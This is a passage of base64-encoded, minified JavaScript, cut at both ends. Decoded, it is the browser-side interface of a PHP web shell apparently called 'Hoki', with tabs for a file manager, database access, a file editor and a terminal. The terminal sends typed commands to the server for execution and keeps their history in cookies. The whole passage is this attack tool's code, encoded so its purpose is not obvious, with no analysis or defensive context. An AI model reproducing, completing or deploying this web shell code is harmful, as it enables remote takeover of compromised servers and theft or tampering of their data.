YSlyZXR1cm4hMTtpZigiRk9STSI9PXQudGFnTmFtZSl7dmFyIGw9dC5nZXRBdHRyaWJ1dGUoIm9uc3VibWl0Iik7dC5zZXRBdHRyaWJ1dGUoIm9uc3VibWl0IiwnaG9raUJlZm9yZURvQWN0aW9uKCInK2UraSsnIik7JytsKSx0LnNldEF0dHJpYnV0ZSgib3B0X2lkIixlK2kpfWVsc2V7bD10LmdldEF0dHJpYnV0ZSgib25jbGljayIpO3Quc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwnaG9raUJlZm9yZURvQWN0aW9uKCInK2UraSsnIik7JytsKX19KTt0cnl7JChvKS5xdWVyeVNlbGVjdG9yKCIuZ2V0Y29uZmlnIikuc2V0QXR0cmlidXRlKCJiYXNlX2lkIixlK2kpfWNhdGNoKGUpe31yZXR1cm4gZStpfWEuaW5uZXJIVE1MPXQ7dmFyIG49JCgidGFiX29wdGlvbl8iK2UpO251bGwhPW4mJigoLTE9PW4uY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInRhYl9pc19hY3RpdmUiKXx8b3B0aW9uc193aW5kb3dfaXNfbWluaW1pemVkKSYmKG4uY2xhc3NMaXN0LmFkZCgidGFiLWlzLWRvbmUiKSxob2tpU2hvd05vdGlmaWNhdGlvbigicHJvY2Nlc3MgaXMgZG9uZS4uLiIsbi5pbm5lclRleHQpKSxvcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWQmJmhva2lVcGRhdGVPcHRpb25zQmFkZ2UoIm9wdGlvbnNfd2luZG93IikpLGQucXVlcnlTZWxlY3RvckFsbCgiI29wdGlvbl8iK2UrIiBmb3JtLCAjb3B0aW9uXyIrZSsiIGEiKS5mb3JFYWNoKGZ1bmN0aW9uKHQpe3ZhciBhPXQuY2xhc3NMaXN0LnZhbHVlO2lmKCJnZXRjb25maWciPT1hfHwicmVqZWN0bWUiPT1hKXJldHVybiExO2lmKCJGT1JNIj09dC50YWdOYW1lKXt2YXIgaT10LmdldEF0dHJpYnV0ZSgib25zdWJtaXQiKTt0LnNldEF0dHJpYnV0ZSgib25zdWJtaXQiLCdob2tpQmVmb3JlRG9BY3Rpb24oIicrZSsnIik7JytpKSx0LnNldEF0dHJpYnV0ZSgib3B0X2lkIixlKX1lbHNle2k9dC5nZXRBdHRyaWJ1dGUoIm9uY2xpY2siKTt0LnNldEF0dHJpYnV0ZSgib25jbGljayIsJ2hva2lCZWZvcmVEb0FjdGlvbigiJytlKyciKTsnK2kpfX0pO3RyeXthLnF1ZXJ5U2VsZWN0b3IoIi5nZXRjb25maWciKS5zZXRBdHRyaWJ1dGUoImJhc2VfaWQiLGUpfWNhdGNoKGUpe31vcHRpb25zX3dpbmRvd19pc19taW5pbWl6ZWR8fChkLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiIpfWZ1bmN0aW9uIGhva2lCZWZvcmVEb0FjdGlvbihlKXtob2tpX2JlZm9yZV9kb19hY3Rpb25faWQ9ZX1mdW5jdGlvbiBob2tpTG9hZGVyT25Ub3AoZSl7JCgiYV9sb2FkZXIiKS5zdHlsZS5kaXNwbGF5PWUsZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJibG9jayI9PWU/ImhpZGRlbiI6InZpc2libGUifWZ1bmN0aW9uIGhva2lBamF4Q29udHJvbGxlcihlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgicGFyZW50Iik7JCgibG9hZGVyXyIrdCkucmVtb3ZlKCksImZpbGVzbWFuX2hvbGRlciI9PXQuc3Vic3RyKDAsMTUpJiYoJCh0KS5zdHlsZS5taW5IZWlnaHQ9IjAiKSxfSE9LSV9BSkFYXy5oYXNPd25Qcm9wZXJ0eSh0KSYmX0hPS0lfQUpBWF9bdF0uYWJvcnQoKX1mdW5jdGlvbiBjbG9zZURhdGFiYXNlKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aWYoJChhKS5yZW1vdmUoKSwtMSE9JCgidGFiXyIrYSkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInNxbC1hY3RpdmUtdGFiIikpaWYoKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIuc3FsLXRhYnMgLnNxbC10YWJuYW1lIikpLmxlbmd0aD4xKXtlWzBdLmNsYXNzTGlzdC5hZGQoInNxbC1hY3RpdmUtdGFiIik7dmFyIGk9ZVswXS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpO251bGwhPSQoaSkmJiQoaSkuY2xhc3NMaXN0LnRvZ2dsZSgic3FsLWFjdGl2ZS1jb250ZW50Iil9ZWxzZSBlZGl0b3JDbG9zZSgiZGF0YWJhc2Vfd2luZG93Iik7ZC5xdWVyeVNlbGVjdG9yKCJkaXZbb3B0X2lkPSIrYSsiXSIpLnJlbW92ZSgpfWZ1bmN0aW9uIGNsb3NlRm1UYWIoZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJmbV9pZCIpLGk9JCgiZmlsZXNtYW5fdGFiXyIrYSk7aWYoLTEhPWkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImZpbGVzbWFuLXRhYi1hY3RpdmUiKSYmKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFiIikpLmxlbmd0aD4xKXtlWzBdLmNsYXNzTGlzdC5hZGQoImZpbGVzbWFuLXRhYi1hY3RpdmUiKTt2YXIgbD1lWzBdLmdldEF0dHJpYnV0ZSgiZm1faWQiKSxyPSJmaWxlc21hbl9ob2xkZXJfIitsO2lmKG51bGwhPSQocikpeyQocikuY2xhc3NMaXN0LnRvZ2dsZSgiZmlsZXNtYW4tYWN0aXZlLWNvbnRlbnQiKTt2YXIgbz0kKCJmaWxlc21hbl90YWJfIitsKS5nZXRBdHRyaWJ1dGUoInBhdGgiKTtpbml0RGlyKG8pLGQubWYuYy52YWx1ZT1vLGhva2lfY3VycmVudF9mbV9pZD1sfX1pLnJlbW92ZSgpLCQoImZpbGVzbWFuX2hvbGRlcl8iK2EpLnJlbW92ZSgpLGhva2lGaWxlc21hblRhYkhpZGVUaXRsZSgpfWZ1bmN0aW9uIGNsb3NlT3B0aW9uKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aWYoJChhKS5yZW1vdmUoKSwtMSE9JCgidGFiXyIrYSkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInRhYl9pc19hY3RpdmUiKSlpZigoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIi5vcHRpb25zX3RhYiAudGFiX25hbWUiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgidGFiX2lzX2FjdGl2ZSIpO3ZhciBpPWVbMF0uZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtudWxsIT0kKGkpJiYkKGkpLmNsYXNzTGlzdC50b2dnbGUoIm9wdGlvbl9pc19hY3RpdmUiKX1lbHNlIGVkaXRvckNsb3NlKCJvcHRpb25zX3dpbmRvdyIpO2QucXVlcnlTZWxlY3RvcigiZGl2W29wdF9pZD0iK2ErIl0iKS5yZW1vdmUoKX1mdW5jdGlvbiBoaXN0b3J5UGFuZWxDb250cm9sbGVyKGUpeyJoaWRkZW4iPT1lLmdldEF0dHJpYnV0ZSgibW9kZSIpPyhkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItZXhwbG9yZXIiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLW1vZGFsIikuc3R5bGUubWFyZ2luTGVmdD0iMjAlIixlLnNldEF0dHJpYnV0ZSgibW9kZSIsInZpc2libGUiKSxlLnN0eWxlLmxlZnQ9IjE5JSIsZS5pbm5lckhUTUw9Ijw8Iik6KGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1leHBsb3JlciIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1tb2RhbCIpLnN0eWxlLm1hcmdpbkxlZnQ9IjElIixlLnNldEF0dHJpYnV0ZSgibW9kZSIsImhpZGRlbiIpLGUuc3R5bGUubGVmdD0iMCUiLGUuaW5uZXJIVE1MPSI+PiIpfWZ1bmN0aW9uIGNsb3NlVGVybWluYWxDb250ZW50KGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO2lmKCgkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWN0aXZlLXRlcm1pbmFsLXRhYiIpKSYmKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIudGVybWluYWwtdGFicyAudGVybWluYWwtdGFiIikpLmxlbmd0aD4xKXtlWzBdLmNsYXNzTGlzdC5hZGQoImFjdGl2ZS10ZXJtaW5hbC10YWIiKTt2YXIgaT1lWzBdLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO251bGwhPSQoaSkmJiQoaSkuY2xhc3NMaXN0LnRvZ2dsZSgiYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiKX1kLnF1ZXJ5U2VsZWN0b3IoImRpdlt0ZXJtX2lkPSIrYSsiXSIpLnJlbW92ZSgpfWZ1bmN0aW9uIGNsb3NlRWRpdG9yQ29udGVudChlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpO2lmKCgkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiZWRpdG9yLXRhYi1hY3RpdmUiKSkmJihlPWQucXVlcnlTZWxlY3RvckFsbCgiLmVkaXRvci10YWJzIC5lZGl0b3ItdGFiLW5hbWUiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgiZWRpdG9yLXRhYi1hY3RpdmUiKTt2YXIgaT1lWzBdLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7bnVsbCE9JChpKSYmJChpKS5jbGFzc0xpc3QudG9nZ2xlKCJlZGl0b3ItY29udGVudC1hY3RpdmUiKX1kLnF1ZXJ5U2VsZWN0b3IoImRpdltvcHRfaWQ9IithKyJdIikucmVtb3ZlKCl9ZnVuY3Rpb24gb3B0aW9uc1RhYkNvbnRyb2xsZXIoZSl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLm9wdGlvbnNfaG9sZGVyLm9wdGlvbl9pc19hY3RpdmUiKS5jbGFzc0xpc3QucmVtb3ZlKCJvcHRpb25faXNfYWN0aXZlIil9Y2F0Y2goZSl7fXZhciB0PWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZihudWxsPT10KXJldHVybiExOyQodCkuY2xhc3NMaXN0LnRvZ2dsZSgib3B0aW9uX2lzX2FjdGl2ZSIpO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIiNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgXHQudGFiX25hbWUudGFiX2lzX2FjdGl2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoInRhYl9pc19hY3RpdmUiKX1jYXRjaChlKXt9ZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLGUuY2xhc3NMaXN0LmFkZCgidGFiX2lzX2FjdGl2ZSIpLGQucXVlcnlTZWxlY3RvcigiLm9wdC10aXRsZSIpLmlubmVySFRNTD1lLmdldEF0dHJpYnV0ZSgidGl0bGUiKSxob2tpVXBkYXRlT3B0aW9uc0JhZGdlKCJvcHRpb25zX3dpbmRvdyIpfWZ1bmN0aW9uIHRlcm1pbmFsVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIudGVybWluYWwtdGFiLmFjdGl2ZS10ZXJtaW5hbC10YWIiKS5jbGFzc0xpc3QucmVtb3ZlKCJhY3RpdmUtdGVybWluYWwtdGFiIil9Y2F0Y2goZSl7fXRyeXtkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC1jb250ZW50LmFjdGl2ZS10ZXJtaW5hbC1jb250ZW50IikuY2xhc3NMaXN0LnJlbW92ZSgiYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiKX1jYXRjaChlKXt9dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoInRlcm1faWQiKTtpZihudWxsPT10KXJldHVybiExOyQodCkuY2xhc3NMaXN0LnRvZ2dsZSgiYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiKSxlLmNsYXNzTGlzdC5yZW1vdmUoInRhYi1pcy1kb25lIiksZS5jbGFzc0xpc3QuYWRkKCJhY3RpdmUtdGVybWluYWwtdGFiIiksJCh0KS5xdWVyeVNlbGVjdG9yKCIucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKSxob2tpVXBkYXRlT3B0aW9uc0JhZGdlKCJjZ2lsb2FkZXIiKX1mdW5jdGlvbiBmaWxlc21hblRhYkNvbnRyb2xsZXIoZSl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLmFqYXhhcmVhLmZpbGVzbWFuLWFjdGl2ZS1jb250ZW50IikuY2xhc3NMaXN0LnJlbW92ZSgiZmlsZXNtYW4tYWN0aXZlLWNvbnRlbnQiKX1jYXRjaChlKXt9dHJ5e2QucXVlcnlTZWxlY3RvcigiLmZpbGVzbWFuX3RhYi5maWxlc21hbi10YWItYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpfWNhdGNoKGUpe312YXIgdD1lLmdldEF0dHJpYnV0ZSgiZm1faWQiKTtpZihudWxsPT10KXJldHVybiExO2hva2lfY3VycmVudF9mbV9pZD10LGUuY2xhc3NMaXN0LmFkZCgiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpLGUuY2xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKSwkKCJmaWxlc21hbl9ob2xkZXJfIit0KS5jbGFzc0xpc3QudG9nZ2xlKCJmaWxlc21hbi1hY3RpdmUtY29udGVudCIpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJwYXRoIik7aW5pdERpcihhKSxkLm1mLmMudmFsdWU9YX1mdW5jdGlvbiBkYlRhYkNvbnRyb2xsZXIoZSl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLnNxbC1jb250ZW50LnNxbC1hY3RpdmUtY29udGVudCIpLmNsYXNzTGlzdC5yZW1vdmUoInNxbC1hY3RpdmUtY29udGVudCIpfWNhdGNoKGUpe310cnl7ZC5xdWVyeVNlbGVjdG9yKCIuc3FsLXRhYm5hbWUuc3FsLWFjdGl2ZS10YWIiKS5jbGFzc0xpc3QucmVtb3ZlKCJzcWwtYWN0aXZlLXRhYiIpfWNhdGNoKGUpe312YXIgdD1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aWYobnVsbD09dClyZXR1cm4hMTskKHQpLmNsYXNzTGlzdC50b2dnbGUoInNxbC1hY3RpdmUtY29udGVudCIpLGUuY2xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKSxlLmNsYXNzTGlzdC5hZGQoInNxbC1hY3RpdmUtdGFiIiksaG9raVVwZGF0ZU9wdGlvbnNCYWRnZSgiZGF0YWJhc2Vfd2luZG93Iil9ZnVuY3Rpb24gZWRpdG9yVGFiQ29udHJvbGxlcihlLHQpe3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItY29udGVudHMuZWRpdG9yLWNvbnRlbnQtYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLWNvbnRlbnQtYWN0aXZlIil9Y2F0Y2goZSl7fXZhciBhPW51bGw7dm9pZCAwPT09dD9hPWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTooYT1lLGU9JCgidGFiXyIrYSkpO3ZhciBpPWVkaXRvcl9maWxlc1siZmlsZV8iK2EucmVwbGFjZSgiZWRpdG9yX3NvdXJjZV8iLCIiKV07aWYodm9pZCAwIT09aSYmKGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1wYXRoIikuaW5uZXJIVE1MPShpLnB3ZCsiLyIraS5maWxlKS5yZXBsYWNlKC9cL1wvL2csIi8iKSksbnVsbD09YSlyZXR1cm4hMTskKGEpLmNsYXNzTGlzdC50b2dnbGUoImVkaXRvci1jb250ZW50LWFjdGl2ZSIpO3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItdGFicyAuZWRpdG9yLXRhYi1uYW1lLmVkaXRvci10YWItYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLXRhYi1hY3RpdmUiKX1jYXRjaChlKXt9ZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLGUuY2xhc3NMaXN0LmFkZCgiZWRpdG9yLXRhYi1hY3RpdmUiKSxob2tpVXBkYXRlT3B0aW9uc0JhZGdlKCJlZGl0b3IiKX1mdW5jdGlvbiBob2tpVXBkYXRlT3B0aW9uc0JhZGdlKGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIrZSsiLW1pbmltaXplZCAub3B0aW9uc19taW5fYmFkZ2UiKTtpZihudWxsIT10KXt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2UrIiAudGFiLWlzLWRvbmUiKS5sZW5ndGg7dC5pbm5lckhUTUw9YSx0LnN0eWxlLnZpc2liaWxpdHk9YT4wPyJ2aXNpYmxlIjoiaGlkZGVuIn19ZnVuY3Rpb24gaG9raU9wZW5QaHBUZXJtaW5hbChlKXtpZihwaHBfdGVtcmluYWxfdXNpbmdfY2dpJiZ2b2lkIDA9PT1lKXNob3dFZGl0b3IoImNnaWxvYWRlciIpO2Vsc2V7JCgiY2dpbG9hZGVyIikuc3R5bGUuZGlzcGxheT0iYmxvY2siLCQoImNnaWxvYWRlciIpLnN0eWxlLmJhY2tncm91bmQ9InJnYmEoMCwgMCwgMCwgMC41NykiLCQoImNnaWZyYW1lIikuc3R5bGUuYmFja2dyb3VuZD0icmdiYSgwLCAwLCAwLCAwLjgxKSIsJCgiY2dpZnJhbWUiKS5zdHlsZS5ib3JkZXI9IjFweCBzb2xpZCByZ2IoMzAsIDg2LCAxMTUpIiwkKCJjZ2lmcmFtZSIpLnN0eWxlLmhlaWdodD0iOTAlIiwkKCJjZ2lmcmFtZSIpLnN0eWxlLnBhZGRpbmc9IjNweCIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpbG9hZGVyIC5vcHQtdGl0bGUiKS5pbm5lckhUTUw9IlRlcm1pbmFsIjt2YXIgdD0iIixhPSIiLGk9InRlcm1pbmFsX2lkXyIrZ2V0UmFuZG9tKDEwKTt2b2lkIDA9PT1lJiYodD0iIGFjdGl2ZS10ZXJtaW5hbC1jb250ZW50IixhPSIgYWN0aXZlLXRlcm1pbmFsLXRhYiIpLGQucXVlcnlTZWxlY3RvcigiI2NnaWZyYW1lIC50ZXJtaW5hbC1jb250ZW50cyIpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxkaXYgaWQ9IicraSsnIiBjbGFzcz0idGVybWluYWwtY29udGVudCcrdCsnIj48ZGl2IGNsYXNzPSJwaHAtdGVybWluYWwtb3V0cHV0Ij48ZGl2PjxidXR0b24gY2xhc3M9InRlcm1pbmFsLWJ0bi1mb250Y3RsIiBvbkNsaWNrPSJjaGFuZ2VUZXJtaW5hbEZvbnRTaXplKFwnJytpKydcJywxKTsiPis8L2J1dHRvbj48YnV0dG9uIGNsYXNzPSJ0ZXJtaW5hbC1idG4tZm9udGN0bCIgb25DbGljaz0iY2hhbmdlVGVybWluYWxGb250U2l6ZShcJycraSsiJywwKTtcIj4tPC9idXR0b24+PGlucHV0IG9uY2hhbmdlPVwiaG9raVRlcm1pbmFsQ2hhbmdlY29sb3IodGhpcywnIitpKydcJyk7IiBzdHlsZT0iaGVpZ2h0OiAxOHB4O2JhY2tncm91bmQ6ICNkZGUyZTI7IiB0eXBlPSJjb2xvciI+PC9kaXY+PHByZSBjbGFzcz0ibWwxIiBzdHlsZT0iYm9yZGVyOnVuc2V0O2hlaWdodDogOTAlOyI+PC9wcmU+PC9kaXY+PGRpdj48Zm9ybSB0ZXJtX2lkPSInK2krJyIgb25TdWJtaXQ9Imhva2lFeGVjVGVybWluYWwodGhpcyk7dGhpcy5jLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlOyIgYXV0b2NvbXBsZXRlPSJvZmYiIHN0eWxlPSJtYXJnaW4tdG9wOiAxMHB4OyI+PGRpdiBzdHlsZT0ib3ZlcmZsb3c6IGF1dG87d2hpdGUtc3BhY2U6IG5vd3JhcDsiPjxkaXYgc3R5bGU9ImRpc3BsYXk6IGlubGluZS1ibG9jaztjb2xvcjojNGZiZWMzO21hcmdpbi1ib3R0b206NXB4O21hcmdpbi1yaWdodDo1cHg7Ij5DV0Q6fiMgPC9kaXY+PGRpdiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO2NvbG9yOiM0MmVjNDI7IiBjbGFzcz0icGhwLXRlcm1pbmFsLWN1cnJlbnQtZGlyIj48L2Rpdj48L2Rpdj48ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwZmYwODtmb250LXNpemU6IDI1cHg7Ij4kIDwvc3Bhbj48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDhweDtmb250LXNpemU6IDIwcHg7d2lkdGg6IDY3JTtib3JkZXI6IDFweCBzb2xpZCAjMjc5NzlCO3BhZGRpbmctcmlnaHQ6MzVweDsiIG9ua2V5dXA9Imhva2lXYWxrSW5UZXJtaW5hbEhpc3RvcnkodGhpcyxldmVudCxcJycraSsnXCcpOyIgdGVybV9pZD0iJytpKyciIGNsYXNzPSJwaHAtdGVybWluYWwtaW5wdXQiIHR5cGU9InRleHQiIG5hbWU9ImMiIG9uZm9jdXM9ImNsb3NlSGlzdG9yeUNtZChcJ2ZyZWVcJyx0aGlzKTsiIHBsYWNlaG9sZGVyPSJscyAtbGEiPjxidXR0b24gY2xhc3M9ImJ1dHRvbiIgc3R5bGU9ImNvbG9yOiAjMjc5NzlCO3BhZGRpbmc6IDEycHg7bWFyZ2luLWxlZnQ6IDEwcHg7Ym9yZGVyLXJhZGl1czogMnB4O2ZvbnQtd2VpZ2h0OiBib2xkZXI7Ij5FeGVDdXRlPGJ1dHRvbiB0ZXJtX2lkPSInK2krJyIgY2xhc3M9ImJ1dHRvbiIgc3R5bGU9ImNvbG9yOiAjMjc5NzlCO3BhZGRpbmc6IDEycHg7bWFyZ2luLWxlZnQ6IDEwcHg7Ym9yZGVyLXJhZGl1czogMnB4O2ZvbnQtd2VpZ2h0OiBib2xkZXI7IiBvbkNsaWNrPSJob2tpRXhlY1Rlcm1pbmFsKHRoaXMsIDEpO3JldHVybiBmYWxzZTsiPkN1cnJlbnQgRGlyPC9idXR0b24+PGRpdiBjbGFzcz0iY21kLWhpc3RvcnktaG9sZGVyIj48ZGl2IGNsYXNzPSJjb21tYW5kcy1oaXN0b3J5LWhlYWRlciI+SGlzdG9yeTwvZGl2PjxzcGFuIG9uQ2xpY2s9ImNsZWFyVGVybWluYWxIaXN0b3J5KCk7IiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkO21hcmdpbi1ib3R0b206IDVweDtkaXNwbGF5OiBpbmxpbmUtYmxvY2s7cGFkZGluZzogNXB4O2NvbG9yOiAjNTlkZTY5O2N1cnNvcjogcG9pbnRlcjsiPkNsZWFyIGhpc3Rvcnk8L3NwYW4+PGRpdiBzdHlsZT0ib3ZlcmZsb3c6IGF1dG87aGVpZ2h0OiA4MiU7IiBjbGFzcz0iY29tbWFuZHMtaGlzdG9yeSI+PC9kaXY+PC9kaXY+PGRpdiB0ZXJtX2lkPSInK2krJyIgY2xhc3M9ImNtZC1oaXN0b3J5LWljb24iIG1vZGU9IiIgb25jbGljaz0iY2xvc2VIaXN0b3J5Q21kKHRoaXMpOyI+PGltZyBzdHlsZT0id2lkdGg6MjdweDsiIHNyYz0iaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nIj48L2Rpdj48L2Zvcm0+PC9kaXY+PC9kaXY+PC9kaXY+Jyk7dHJ5eyQoInRlcm1pbmFsX25ld190YWIiKS5yZW1vdmUoKX1jYXRjaChlKXt9ZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLXRhYnMiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsJzxkaXYgb25jbGljaz0idGVybWluYWxUYWJDb250cm9sbGVyKHRoaXMpOyIgdGVybV9pZD0iJytpKyciIGlkPSJ0YWJfJytpKyciIGNsYXNzPSJ0ZXJtaW5hbC10YWInK2ErJyI+VGVybWluYWwgPGltZyB0ZXJtX2lkPSInK2krJyIgb25jbGljaz0iY2xvc2VUZXJtaW5hbENvbnRlbnQodGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IltjbG9zZV0iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmciPjwvZGl2PicpLGQucXVlcnlTZWxlY3RvcigiI2NnaWZyYW1lIC50ZXJtaW5hbC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IG9uY2xpY2s9Imhva2lPcGVuUGhwVGVybWluYWwodHJ1ZSk7IiBpZD0idGVybWluYWxfbmV3X3RhYiIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzgwMDAwMDsiIGNsYXNzPSJ0ZXJtaW5hbC10YWIiPk5ldyBUYWIgKzwvZGl2PicpLHRlcm1pbmFsX3dhbGtfaW5kZXhbaV09e2luZGV4OjAsa2V5Oi0xfSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAucGhwLXRlcm1pbmFsLWN1cnJlbnQtZGlyIikuaW5uZXJIVE1MPWNfLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlci1taW5pbWl6ZWQgLm1pbmltaXplZC10ZXh0IikuaW5uZXJIVE1MPSJUZXJtaW5hbCIsaG9raVRlcm1pbmFsU2V0Q29sb3JBbmRTaXplKGkpLHBocF90ZW1yaW5hbF91c2luZ19jZ2k9ITA7dmFyIGw9aG9raUdldFRlcm1pbmFsSGlzdG9yeSgpO2Zvcih2YXIgciBpbiBsKWQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5jbWQtaGlzdG9yeS1ob2xkZXIgLmNvbW1hbmRzLWhpc3RvcnkiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCI8ZGl2IG9uY2xpY2s9XCJkLnF1ZXJ5U2VsZWN0b3IoJyMiK2krJyAucGhwLXRlcm1pbmFsLWlucHV0XCcpLnZhbHVlID0gdGhpcy5pbm5lckhUTUw7IiBjbGFzcz0iaGlzdG9yeS1jbWQtbGluZSI+JytsW3JdKyI8L2Rpdj4iKX1kLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiJ9ZnVuY3Rpb24gaG9raVRlcm1pbmFsU2V0Q29sb3JBbmRTaXplKGUpe3ZhciB0PWdldENvb2tpZSgiaG9raS10ZXJtaW5hbC1jb2xvciIpLGE9Z2V0Q29va2llKCJob2tpLXRlcm1pbmFsLWZvbnRzaXplIik7dm9pZCAwIT09dCYmKGQucXVlcnlTZWxlY3RvcigiIyIrZSsiIHByZS5tbDEiKS5zdHlsZS5jb2xvcj10KSx2b2lkIDAhPT1hJiYoZC5xdWVyeVNlbGVjdG9yKCIjIitlKyIgcHJlLm1sMSIpLnN0eWxlLmZvbnRTaXplPWEpfWZ1bmN0aW9uIGhva2lUZXJtaW5hbENoYW5nZWNvbG9yKGUsdCl7ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgcHJlLm1sMSIpLnN0eWxlLmNvbG9yPWUudmFsdWUsc2V0Q29va2llKCJob2tpLXRlcm1pbmFsLWNvbG9yIixlLnZhbHVlLDIwMTIpfWZ1bmN0aW9uIGhva2lHZXRUZXJtaW5hbEhpc3RvcnkoZSl7dmFyIHQ9Z2V0Q29va2llKCJob2tpLXRlcm1pbmFsLWhpc3RvcnkiKTt0cnl7dD1hdG9iKHQpLHQ9SlNPTi5wYXJzZSh0KX1jYXRjaChlKXt0PVtdfXJldHVybiB2b2lkIDAhPT1lJiZ0LnJldmVyc2UoKSx0fWZ1bmN0aW9uIGNoYW5nZVRlcm1pbmFsRm9udFNpemUoZSx0KXt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiBwcmUubWwxIiksaT1wYXJzZUludCh3aW5kb3cuZ2V0Q29tcHV0